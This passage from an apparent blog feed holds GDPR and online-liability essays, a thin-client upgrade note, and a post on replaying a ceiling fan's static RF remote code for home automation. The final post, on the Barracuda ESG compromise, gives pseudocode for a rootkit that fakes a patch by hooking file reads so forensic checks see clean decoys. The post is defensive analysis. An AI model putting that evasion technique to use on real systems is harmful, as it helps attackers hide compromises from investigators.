&lt;p&gt;The obvious follow up question would be whether anonymized data would suffice for AI and Big Data purposes. Big Data, as it's namesake suggests, thrives on volume. It is nary concerned with data on a personal level. Zuboff, citing a Google research paper, mentioned the phrase "applying learning algorithms to understand and generalize" [2]. The aim of big data is to filter out personal quirks and identify general trends, hence anonymized data should work just as well. Looking at a more concrete example, incidental data relating to Google Search such as "how a query is phrased, spelling, punctuation, dwell times, click patterns" were collected to provide a "broad sensor of human behaviour" [3]. Once again, we are looking to identify human behaviour in general, not specific to any individual. I believe that companies can take proper safeguards to anonymize data and reap the benefits of big data while remaining compliant with GDPR.&lt;/p&gt;
&lt;p&gt;Nonetheless, there is no smoke without fire. There are certain purposes which cannot be fulfilled using anonymized data. Later in the chapter, Zuboff explores "targeted" advertising [4] which would definitely require personal data to be present so that the outcome from the processing can be applied back to that individual. In such scenarios, companies have to be transparent and include inter alia targeted advertising as a purpose for data processing. This would give the company the mandate to collect and process the relevant data that is required for targeted advertising.&lt;/p&gt;
&lt;p&gt;AI systems and big data applications are not sentient. They do not have the ability to discern if the processing they are performing is "fair", free from bias and what a reasonable person would expect. Thus, it is important for us to be very deliberate in considering what data to process and deciding how to interpret the results of the processing. Allowing these technologies to operate unchecked could result in violations of data privacy, human rights or even compromise the vital interests of a human being.&lt;/p&gt;
&lt;p&gt;[1] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Article 5&lt;/p&gt;
&lt;p&gt;[2] Shoshana Zuboff (2019) 'The Age of Surveillance Capitalism: The Fight for a Human Future at the New Frontier of Power' (Profile Books 2019), Chapter 3&lt;/p&gt;
&lt;p&gt;[3] ibid, Chapter 3 Section II. A Balance of Power&lt;/p&gt;
&lt;p&gt;[4] ibid, Chapter 3 Section IV. The Discovery of Behavioral Surplus&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>GDPR: Consent</title><link href="https://limbenjamin.com/articles/gdpr-consent.html" rel="alternate"></link><published>2023-10-12T10:00:00+08:00</published><updated>2023-10-12T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-10-12:/articles/gdpr-consent.html</id><summary type="html">&lt;p&gt;According to Recital 32 of the GDPR, "pre-ticked boxes" as well as "inactivity" does not count as consent [1]. Planet49 GmbH v Bundesverband der Verbraucherzentralen was probably one of the cases which set the precedence for what constitutes consent. Planet49 had a pre-ticked checkbox on its lottery participation form allowing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;According to Recital 32 of the GDPR, "pre-ticked boxes" as well as "inactivity" does not count as consent [1]. Planet49 GmbH v Bundesverband der Verbraucherzentralen was probably one of the cases which set the precedence for what constitutes consent. Planet49 had a pre-ticked checkbox on its lottery participation form allowing Planet49 to utilize cookies to track the user's websurfing behaviour and to enable targeted advertising provided by an advertising company [2]. Paragraph 82(1) of the judgment clearly highlights that consent is not valid if the user is presented with a pre-checked box which must be unselected to remove consent.&lt;/p&gt;
&lt;p&gt;In Paragraph 61 of the judgment, the court agreed with the Advocate General's position that "clear affirmative action signifying agreement" is required to pass the test of consent [3]. Applying that position to practices in the online world, continuing to scroll through the website will not constitute consent. This is because scrolling through the website is normal behaviour and the user did not deviate from that normal behaviour to perform any "clear affirmative action". Swiping away the consent dialog will also not constitute consent because the user's refusal to interact with the consent dialog would probably count as "inactivity". However, if the website implemented a "swipe right to agree" button, that will constitute as consent because the swiping behaviour would be a "clear affirmative action" that the user partaked in.&lt;/p&gt;
&lt;p&gt;According to Recital 32 of the GDPR, consent must be sought for each different purpose of processing. This means that the data controller cannot have a single checkbox seeking blanket consent from the user but has to explicit state the various reasons for seeking consent. I was unable to find any information regarding processing ex ante receiving consent in general. However, logically it should be prohibited. The data controller does not know ahead of time whether consent will be granted by the data subject, if the data subject decides to withhold consent, then the data controller will be in a conundrum. However, in exceptional circumstances, deferred consent is allowed. In Paragraph 3B of the 2021 amendment to Ireland's Data Protection Act, deferred consent is permitted for health research purposes if the data subject is in need of urgent health care and is unable to consent due to the physical or mental state at that material time [4].&lt;/p&gt;
&lt;p&gt;[1] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Recital 32&lt;/p&gt;
&lt;p&gt;[2] Case C–673/17 Bundesverband der Verbraucherzentralen und Verbraucherverbände - Verbraucherzentrale Bundesverband e.V. v Planet49 GmbH [2020] 1 WLR 2248.&lt;/p&gt;
&lt;p&gt;[3] Bundesverband n(2) Paragraph 61&lt;/p&gt;
&lt;p&gt;[4] Data Protection Act 2018 (Section 36(2)) (Health Research) (Amendment) Regulations 2021, Paragraph 3B&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>GDPR: Grounds for processing</title><link href="https://limbenjamin.com/articles/gdpr-grounds-processing.md.html" rel="alternate"></link><published>2023-10-09T10:00:00+08:00</published><updated>2023-10-09T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-10-09:/articles/gdpr-grounds-processing.md.html</id><summary type="html">&lt;p&gt;I would like to explore Article 9(2)(e) of the GDPR further as the term "manifestly made public" appears to warrant more in depth discussion. An example for such a situation could be an event organizer processing the details of an openly known HIV positive individual to invite that …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I would like to explore Article 9(2)(e) of the GDPR further as the term "manifestly made public" appears to warrant more in depth discussion. An example for such a situation could be an event organizer processing the details of an openly known HIV positive individual to invite that individual to speak about living with HIV at the event. Since that individual has already publicly announced his/her HIV status and the main feature of that event is about hearing from the point of view of a HIV positive person, the event organizer should be allowed to process and include data about individual's HIV status when inviting that individual. In such a circumstance, the event organizer does not yet have consent from the individual, hence it cannot fall under Article 9(2)(a).&lt;/p&gt;
&lt;p&gt;According to guidance from the ICO, it is important that the individual has made the information public voluntarily on his or her own accord [1], and the information was not made public due to a data leak. It is also important to consider whether the individual would reasonably expect that data to be processed in this circumstance [2]. For example, if that same HIV positive person was invited to speak about an unrelated topic, the event organizer will not have grounds to process data about his/her HIV status. Everyone plays multiple roles in life, one could be a part time student, working professional, parent or a child depending on the circumstances. We should not be applying a label to any individual across all facets of his or her life. &lt;/p&gt;
&lt;p&gt;Lastly, it is also important to consider if the data can be "realistically accessed" by a member of the general public [3]. For example, if a teaching staff has formed a picket line outside a university building as part of industrial action called for by the Universities and College Union, such an action may not fall under Article 9(2)(e). This is because of its transient nature, only those present would have witnessed the event and a member of public cannot subsequently access this information. Hence, the university would not have any grounds to process such data. &lt;/p&gt;
&lt;p&gt;I would argue that Article 9(2)(e) can be further refined and restricted to something along the lines of:&lt;/p&gt;
&lt;p&gt;(e) processing relates to personal data which are manifestly made public on a permanent basis by the data subject voluntarily; where the data being processed is directly relevant to the purpose for which it is processed and where the data subject would reasonably expect that processing to take place. &lt;/p&gt;
&lt;p&gt;[1] Information Comissioner's Office, 'What are the conditions for processing?' &lt;a href="https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/lawful-basis/special-category-data/what-are-the-conditions-for-processing/#conditions5"&gt;https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/lawful-basis/special-category-data/what-are-the-conditions-for-processing/#conditions5&lt;/a&gt; accessed 9 October 2023&lt;/p&gt;
&lt;p&gt;[2] ibid&lt;/p&gt;
&lt;p&gt;[3] ibid&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Liabilities of Intermediaries</title><link href="https://limbenjamin.com/articles/liabilities-of-intermediaries.html" rel="alternate"></link><published>2023-10-07T10:00:00+08:00</published><updated>2023-10-07T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-10-07:/articles/liabilities-of-intermediaries.html</id><summary type="html">&lt;p&gt;I believe one main problem when imposing liability on online content occurs when there is a hard conflict between 2 legal systems [1]. Since online content is accessible worldwide, it would be difficult to subject it to law from two strikingly different jurisdictions simultaneously. The case of LICRA vs Yahoo …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I believe one main problem when imposing liability on online content occurs when there is a hard conflict between 2 legal systems [1]. Since online content is accessible worldwide, it would be difficult to subject it to law from two strikingly different jurisdictions simultaneously. The case of LICRA vs Yahoo [2] is one which illustrates the idealogical conflict between 2 different legal systems. In this case, the French court attempted to exercise jurisdiction and apply lex loci on a US company's English site, by ordering Yahoo! to block French internet users from accessing pages auctioning Nazi memorabillia in English. While it is a criminal offense under French law, the first amendment of the US Constitution allows for such auctions inter alia under freedom of speech. Yahoo eventually brought the case to the US Court in an attempt to quash the French court order. A similar conundrum has been observed with Thailand's strict lèse-majesté provisions. The Thai government has signaled the intention to prosecute Facebook, Google and Twitter over their failure to adhere to take down notices [3]. Adhering to these notices would violate freedom of speech. The existence of such laws is understandable given the historical and cultural context. Countries went through wars and hardship which led to the enactment of those laws. Nonetheless, the global borderless nature of online content raises issues when laws from various jurisdictions contradict, leaving companies with a dilemma.  &lt;/p&gt;
&lt;p&gt;The other issue lies with the difficulty of prosecuting the actual offender. Unlike traditional media, where only journalists and the famous have a voice, online platforms give everyone a voice. When an individual decides to use that voice to transmit high commercial valued content for free (i.e. uploading the latest Hollywood blockbuster to a file sharing site), it goes "viral" quickly. Courts would be forced to take action since there is substantial copyright violation. In UPC Telekabel Wien GmbH v Constantin Film Verleih GmbH, the claimants, having been unsuccessful in blocking the site kino.to, had to resort to getting an Austrian ISP to block it's subscriber's access to the site. This is clearly not ideal since subscribers of other ISPs are still able to access the site. Furthermore, the actual offender can register new domain names to evade the ban while remaining scot free. Ideally, the actual offender should be punished, however the nature of online content makes it difficult to identify and prosecute actual offenders in such cases.  &lt;/p&gt;
&lt;p&gt;[1] Martin Husovec and Irene Roche Laguna. 2022. “Digital Services Act: A Short Primer.” pp. 11&lt;/p&gt;
&lt;p&gt;[2] League Against Racism and Anti-Semitism (LICRA) and the French Union of Jewish Students v Yahoo! Inc and Yahoo France [2001] EBLR 1(3) 110–120 (Paris, 20 November 2000).&lt;/p&gt;
&lt;p&gt;[3] Thailand prosecutes Facebook, Google and Twitter over posts, (BBC) &lt;a href="https://www.bbc.com/news/technology-54296465"&gt;https://www.bbc.com/news/technology-54296465&lt;/a&gt; accessed 7 October 2023&lt;/p&gt;
&lt;p&gt;[4] UPC Telekabel Wien GmbH v Constantin Film Verleih GmbH: C-314/12 C-314/12, ECLI:ECLI:EU:C:2014:192, [2014] Bus LR 541, [2014] IP &amp;amp; T 438, [2014] All ER (D) 302 (Mar)&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>GDPR: Changes to Sensitive Personal Data</title><link href="https://limbenjamin.com/articles/gdpr-changes-sensitive-personal-data.html" rel="alternate"></link><published>2023-09-28T10:00:00+08:00</published><updated>2023-09-28T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-09-28:/articles/gdpr-changes-sensitive-personal-data.html</id><summary type="html">&lt;p&gt;Article 9(1) of the GDPR added genetic data, biometric data where it is used to uniquely identify a person as well as sexual orientation into the definition of "sensitive personal data". These changes were likely prompted by the social and technological changes that occurred in the decade between when …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Article 9(1) of the GDPR added genetic data, biometric data where it is used to uniquely identify a person as well as sexual orientation into the definition of "sensitive personal data". These changes were likely prompted by the social and technological changes that occurred in the decade between when the Data Protection Directive came into force (1995) and when the GDPR came into force (2018).&lt;/p&gt;
&lt;p&gt;Prior to 2006, genetic testing was mainly performed by healthcare providers for medical reasons and thus the data was considered health data which is protected under GDPR. 23andMe, one of the first companies to offer direct-to-consumer genetic testing, was set up in 2006 [1]. With the subsequent rise of direct-to-consumer genetic testing, genetic testing began to be done for various reasons inter alia, finding out their heritage or ancestry, finding distant relatives, and even lifestyle related reasons such finding out indicators related to sleep, diet or exercise. Thus, such new innovative uses for genetic testing likely prompted the need for it to be added into the definition to prevent misuse of such data by companies offering genetic testing.  &lt;/p&gt;
&lt;p&gt;In 2013, Apple launched the iPhone 5s, which is one of the first phones to incorporate a fingerprint sensor [2]. This marked the first time that companies were able to collect biometric data from its users in bulk and thus once again warranted protection through the adding of biometric data into the definition of "sensitive personal data".&lt;/p&gt;
&lt;p&gt;In 2001, the Netherlands became the first country in the world to legalize same-sex marriages [3]. A number of other countries have also followed suit since then. A growing social acceptance for LGBT rights has likely contributed to the decision to include sexual orientation into the definition of "sensitive personal data" so as to protect individuals from possible discrimination.&lt;/p&gt;
&lt;p&gt;As our society undergoes further social and technologies changes, we will likely see changes to the definition of "sensitive personal data". &lt;/p&gt;
&lt;p&gt;Article 9(2) covers the conditions under which such data can be processed under GDPR. In summary, processing of such data is allowed if the individual has given explicit consent, or if processing is critical to preserve the individual's life, or if the individual has voluntary made the data public, or if it is authorized by EU or national law in relation to employment, social security, or if there is public health or public interest in the archival or statistical collection. &lt;/p&gt;
&lt;p&gt;[1] Christina Farr, '23andMe founder Anne Wojcicki is leading a DNA revolution by going directly to consumers' (CNBC, 22 May 2018) &lt;a href="https://www.cnbc.com/2018/05/22/23andme-took-years-building-a-direct-to-consumer-health-business.html"&gt;https://www.cnbc.com/2018/05/22/23andme-took-years-building-a-direct-to-consumer-health-business.html&lt;/a&gt; accessed 28 September 2023&lt;/p&gt;
&lt;p&gt;[2] Luke Dormehl, 'Today in Apple history: Apple acquires the company behind Touch ID' (Cult of Mac, 28 July 2023) &lt;a href="https://www.cultofmac.com/440033/today-in-apple-history-apple-acquires-the-company-behind-id/"&gt;https://www.cultofmac.com/440033/today-in-apple-history-apple-acquires-the-company-behind-id/&lt;/a&gt; accessed 28 September 2023&lt;/p&gt;
&lt;p&gt;[3] Government of the Netherlands, 'Same-sex marriage' &lt;a href="https://www.government.nl/topics/marriage-cohabitation-agreement-civil-partnership/marriage-civil-partnership-and-cohabitation-agreements/same-sex-marriage"&gt;https://www.government.nl/topics/marriage-cohabitation-agreement-civil-partnership/marriage-civil-partnership-and-cohabitation-agreements/same-sex-marriage&lt;/a&gt; accessed 28 September 2023&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Roomba's Data Protection Obligations</title><link href="https://limbenjamin.com/articles/roombas-data-protection-obligations.html" rel="alternate"></link><published>2023-09-19T10:00:00+08:00</published><updated>2023-09-19T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-09-19:/articles/roombas-data-protection-obligations.html</id><summary type="html">&lt;p&gt;Under a permissive approach, Roomba has little obligations to its customers. It is able to use a blanket statement in its policy such as "share personal information with subsidiaries, third party vendors, and the government, as well as in connection with 'any company transaction' such as a merger or external …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Under a permissive approach, Roomba has little obligations to its customers. It is able to use a blanket statement in its policy such as "share personal information with subsidiaries, third party vendors, and the government, as well as in connection with 'any company transaction' such as a merger or external investment." to justify its actions and claim that consent has already been sought from its customers to sell their home layout maps.&lt;/p&gt;
&lt;p&gt;However, under the prohibitive principle, Roomba would have to more transparent and explicit with its intentions when drafting their policy. Let's have a look at Art 6(1) of the GDPR to see which point it falls under.&lt;/p&gt;
&lt;p&gt;(b) The sale of home layout maps is not strictly required for the Roomba to clean the home (performance of a contract). &lt;br&gt;
(c) Sale of home layout maps to private companies does not fulfill any legal obligation. &lt;br&gt;
(d) It has no bearing on the vital interest of the data subject/other natural persons (unless Roomba is sharing the home layout maps with emergency services to facilitate medical rescue). &lt;br&gt;
(e) Sale of home layout maps to private companies is not done in public interest.&lt;br&gt;
(f) We can argue that there is commercial interests pursued by the controller, however such interests are overridden by the personal data privacy of the owner  &lt;/p&gt;
&lt;p&gt;As such, the action of sale of home layout map appears to fall under Point a, where it is stated that the consent must be given for that specific purpose. Roomba will need to explicitly call this out in their policy statement and not rely on a generic blanket statement to cover all their various data processing actions.&lt;/p&gt;
&lt;p&gt;I would lean towards a prohibitive approach for data protection law. In a situation of unequal expertise or bargaining power, the court will usually hold the entity with greater expertise or bargaining power to higher standards. e.g. Esso Petroluem Co Ltd vs Mardon [1976] QB801. Similarly in this case, Roomba is the expert here. They know how the automated vacuum cleaners work, what data it collects, the commercial value of the data... It is only fair to hold them to higher standards and make them explicitly list out what data is collected and for what purposes. If we shift the burden over to consumers, it will make purchasing an automated vacuum cleaner an extremely onerous task. Consumers will have to spend hours understanding the features that each brand has, whether that particular model builds a home map layout, or whether it just moves in a grid like pattern until it is unable to move anymore. Consumers might even have to look through Roomba's financial reports to figure out which companies are partnering with Roomba and infer if their data is being shared with there partners.&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Acorn Fan: Home Automation</title><link href="https://limbenjamin.com/articles/acorn-fan-home-automation.html" rel="alternate"></link><published>2023-08-09T11:46:00+08:00</published><updated>2023-08-09T11:46:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-08-09:/articles/acorn-fan-home-automation.html</id><summary type="html">&lt;p&gt;&lt;a href="https://acornceilingfan.com/"&gt;Acorn&lt;/a&gt; is a company in Singapore that sells ceiling fans. Some of the models have a remote control for convenience. However, they are not smart fans and you will not be able to control them using your home automation solution out of the box. However, if you have the remote …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="https://acornceilingfan.com/"&gt;Acorn&lt;/a&gt; is a company in Singapore that sells ceiling fans. Some of the models have a remote control for convenience. However, they are not smart fans and you will not be able to control them using your home automation solution out of the box. However, if you have the remote pictured below, then there may be a way to "convert" it into a smart fan very cheaply.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/acorn-fan.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Remote controlled fans such as these usually use RF as a means of communication. They can either use the 315Mhz or 433Mhz frequency. Through trial and error, I discovered that my fan uses 433Mhz. These fans usually use a simple static code so it would be possible to sniff and replay and same static code if you have a 433Mhz transceiver.  &lt;/p&gt;
&lt;p&gt;The transceiver I got is this cheap &lt;a href="https://item.taobao.com/item.htm?spm=a1z09.2.0.0.4d9c2e8dQuQu71&amp;amp;id=530515308004&amp;amp;_u=91orheug9837"&gt;$5 YS-UTR2 transceiver&lt;/a&gt;. As with all products from China, the documentation is extremely poor, the software is hosted on Baidu Pan which requires a China mobile number to sign up for. So it's time for some research and reverse engineering. There are &lt;a href="https://www.cnx-software.com/2017/05/23/this-8-usb-transceiver-can-add-433-mhz-device-support-to-your-home-automation-gateway/"&gt;people&lt;/a&gt; who have succeeded in the past, and after a bit of reading and through trial and error, I managed to get it to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# The brltty service uses the same CH340 chip. Linux will autoload the brltty driver so we must disable it
sudo systemctl stop brltty.service
sudo systemctl disable brltty.service
sudo systemctl mask brltty-udev.service

# Sniff the RF signal for each individual buttons
# Connect to the device and log the binary output to file.
screen -S mySession -L -Logfile off_button_log /dev/ttyUSB0 9600, cs8

# When you press the button on the original remote, you should get binary data from the ttyUSB0 port.
# The same code might be transmitted multiple times. 
xxd off_button_log
00000000: fd01 2345 6789 dffd 0123 4567 89df fd01
00000010: 2345 6789 df

# After removing the repeats, we get the following code.
fd01 2345 6789 df

# As shown in the taobao video, we will need to replace the preamble &amp;#39;fd&amp;#39; and the postamble &amp;#39;df&amp;#39; with &amp;#39;99&amp;#39;
# We just need to send the binary data to ttyUSB0 port.
echo -ne &amp;quot;\x99\x01\x23\x45\x67\x89\x99&amp;quot; &amp;gt; /dev/ttyUSB0

# If you are using home assistant, you can save the command in a shell script and execute it over SSH.
command_line:
  - switch:
      name: Fan
      command_on: ssh -i /config/id_rsa -o &amp;#39;StrictHostKeyChecking=no&amp;#39; hauser@172.1.0.1 &amp;#39;/home/hauser/fan_control/fan_med.sh&amp;#39;
      command_off: ssh -i /config/id_rsa -o &amp;#39;StrictHostKeyChecking=no&amp;#39; hauser@172.1.0.1 &amp;#39;/home/hauser/fan_control/fan_off.sh&amp;#39;
  - switch:
      name: Light
      command_on: ssh -i /config/id_rsa -o &amp;#39;StrictHostKeyChecking=no&amp;#39; hauser@172.1.0.1 &amp;#39;/home/hauser/fan_control/light_on.sh&amp;#39;
      command_off: ssh -i /config/id_rsa -o &amp;#39;StrictHostKeyChecking=no&amp;#39; hauser@172.1.0.1 &amp;#39;/home/hauser/fan_control/light_off.sh&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Upgrading Wyse 5010</title><link href="https://limbenjamin.com/articles/upgrading-wyse-5010.html" rel="alternate"></link><published>2023-07-02T16:35:00+08:00</published><updated>2023-07-02T16:35:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-07-02:/articles/upgrading-wyse-5010.html</id><summary type="html">&lt;p&gt;I've recently procured a used Wyse 5010 thin client for $15. While some information on this device is already out there, I've discovered quite a bit during the upgrading process which I would like to share here.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Although the official specifications mentioned 4GB RAM maximum, the device works when a …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;I've recently procured a used Wyse 5010 thin client for $15. While some information on this device is already out there, I've discovered quite a bit during the upgrading process which I would like to share here.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Although the official specifications mentioned 4GB RAM maximum, the device works when a single 8GB DDR3L RAM stick is inserted and can detect all 8 GB. Also, there is only 1 RAM slot.&lt;/li&gt;
&lt;li&gt;There's not much information on the AMD G-T48E processor. It is an APU with a Radeon HD 6250 graphic chip. You are able to choose how much RAM (384MB - 2GB) to allocate to the graphic chip in the BIOS. With 6GB RAM allocated to the CPU, it is able to run Home Assistant in a docker container as well as Pi-hole on the main OS. &lt;/li&gt;
&lt;li&gt;The &lt;a href="https://manpages.ubuntu.com/manpages/trusty/man4/radeon.4.html"&gt;radeon driver&lt;/a&gt; that comes with Ubuntu 22.04 supports the graphics card. It is the easiest option if you don't want to compile your own driver. The drivers on the manufacturer's page only work on outdated OS versions.  &lt;/li&gt;
&lt;li&gt;The Radeon HD 6250 graphic chip only supports hardware decoding for h264 codec. It does not support AV1/h265/VP9 codecs. I had initially wanted to use it as a media PC as well but abandoned the idea due to lack of modern codec support. With 2GB RAM allocated, it can playback 1080p h264 videos smoothly through hardware decoding. However, without hardware decoding, the CPU can only playback 480p VP9 videos. Attempts at higher resolution videos resulted in stuttering.&lt;/li&gt;
&lt;li&gt;There is enough space to fit a 2.5" inch SSD in place of the SATA DOM and still close the case fully. After opening up my Crucial MX500 SSD, I realised that the board inside is too large to fit the SATA DOM slot. Hence I got a 10cm 7+15 Pin SATA extension cable. 10cm is just the right length. Any longer and there may be too much slack to fit into the case. &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The 8GB RAM stick as well as the SATA extension and SSD fitting snugly into the case is shown in the photo below.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/wyse_5010.jpg"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Barracuda ESG Replacement</title><link href="https://limbenjamin.com/articles/barracuda-esg-replacement.html" rel="alternate"></link><published>2023-06-17T09:49:00+08:00</published><updated>2023-06-17T09:49:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-06-17:/articles/barracuda-esg-replacement.html</id><summary type="html">&lt;p&gt;As more details of the Barracuda ESG 0 day compromise emerge from both &lt;a href="https://www.barracuda.com/company/legal/esg-vulnerability"&gt;Barracuda&lt;/a&gt; and &lt;a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"&gt;Mandiant&lt;/a&gt;, it starts to make sense why Mandiant would recommended a complete replacement of all existing devices.  &lt;/p&gt;
&lt;p&gt;It appears that upon detection, the attackers managed to quickly deploy SANDBAR, which is a kernel rootkit to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;As more details of the Barracuda ESG 0 day compromise emerge from both &lt;a href="https://www.barracuda.com/company/legal/esg-vulnerability"&gt;Barracuda&lt;/a&gt; and &lt;a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"&gt;Mandiant&lt;/a&gt;, it starts to make sense why Mandiant would recommended a complete replacement of all existing devices.  &lt;/p&gt;
&lt;p&gt;It appears that upon detection, the attackers managed to quickly deploy SANDBAR, which is a kernel rootkit to hide processes with certain names. This demonstrates the capability of the attacker and with slightly more time, they will definitely be able to enhance the rootkit to not only hide traces of their activity but also make it seem that the appliance has been patched to an unaffected version. Hence, the only surefire way is to physically replace all devices.  &lt;/p&gt;
&lt;p&gt;These are some possible enhancements that the attackers could possibly do to make the appliance look like it has been patched.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    # attacker will likely simulate traffic, extract/run the required files for masquerading and just update the version number
    function perform_update(new_version_num)
        curl https://vendor.com/product?ver=new_version_num &amp;gt; /hidden_dir/updated_img
        unsquashfs(&amp;quot;/hidden_dir/updated_img&amp;quot;); cp update_daemon /hidden_dir/update_daemon_ori
        /hidden_dir/update_daemon_ori; cat /proc/{pid}/mem &amp;gt; /hidden_dir/update_daemon_memdump; kill -9 {pid}
        sleep(30)
        set_version_num(new_version_num)
        return &amp;quot;Update completed&amp;quot;

    # if forensics were to take a hash/copy the update daemon file, return the contents of the original clean file
    # if forensics were to dump the memory of the running update daemon process, return a pre-dumped copy
    # everything in linux is a file :)
    function open(pathname)
        if pathname == &amp;quot;/bin/update_daemon&amp;quot;:
            pathname = &amp;quot;/hidden_dir/update_daemon_ori&amp;quot;
        if pathname == &amp;quot;/proc/{pid}/mem&amp;quot;:
            pathname = &amp;quot;/hidden_dir/update_daemon_memdump&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

